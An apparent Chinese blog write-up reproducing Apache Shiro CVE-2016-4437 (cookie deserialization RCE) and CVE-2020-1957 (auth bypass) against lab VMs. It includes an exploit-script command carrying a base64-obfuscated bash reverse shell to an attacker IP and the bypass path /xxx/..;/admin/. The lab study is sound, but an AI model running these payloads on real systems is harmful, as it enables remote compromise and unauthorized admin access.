【shiro漏洞复现】CVE-2016-4437反序列化漏洞+CVE-2020-1957权限绕过漏洞

1.CVE-2016-4437

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-meCookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

1.证明存在shiro漏洞:(win7虚拟机)

打开下载好的ShiroExploit.jar,进入图形化Shiro检测界面,输入靶机ip,点击下一步。

2.选择第一个使用ceye.io进行漏洞检测,点击下一步,开始执行检测。在图形界面中勾选第一个反弹shell,填入相应信息,点击执行。

3.同时在攻击机kali2上进行监听,发现攻击机成功连接到kali1上

4.还有一个漏洞脚本:

1)尝试执行向靶机写入文档:

python3 shiro_exploit.py -t 3 -u http://192.168.225.139:8080 -p "touch a.txt"

2)尝试反弹shell:

python3 shiro_exploit.py -t 3 -u http://192.168.225.139:8080 -p "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"

2.CVE-2020-1957

Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon,authc等拦截器。

anon为匿名拦截器,不需要登录即可访问;

authc为登录拦截器,需要登录才可以访问。

ShiroURL路径表达式为Ant格式,路径通配符*表示匹配零个或多个字符串,/*可以匹配/hello,但是匹配不到/hello/,因为*通配符无法匹配路径。假设/hello接口设置了authc拦截器,访问/hello会进行权限判断,但如果访问的是/hello/,那么将无法正确匹配URL,直接放行,进入到spring拦截器。spring中的/hello/hello/形式的URL访问的资源是一样的,从而实现了权限绕过。

主要是Spring web在匹配url的时候没有匹配上/导致绕过

1.访问8080端口,可以看到需要登录,直接访问admin会被302重定向到login.html

抓包出来也可以说明这个问题:

这个应用中对URL权限的配置如下:

2.构造恶意请求/xxx/..;/admin/即可绕过权限校验,访问到管理页面。

URL请求过程:

客户端请求URL:/xxx/..;/admin/

Shrio内部处理得到校验URL/xxxx/..,校验通过

SpringBoot处理/xxx/..;/admin/,最终请求/admin/,成功访问了后台请求。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值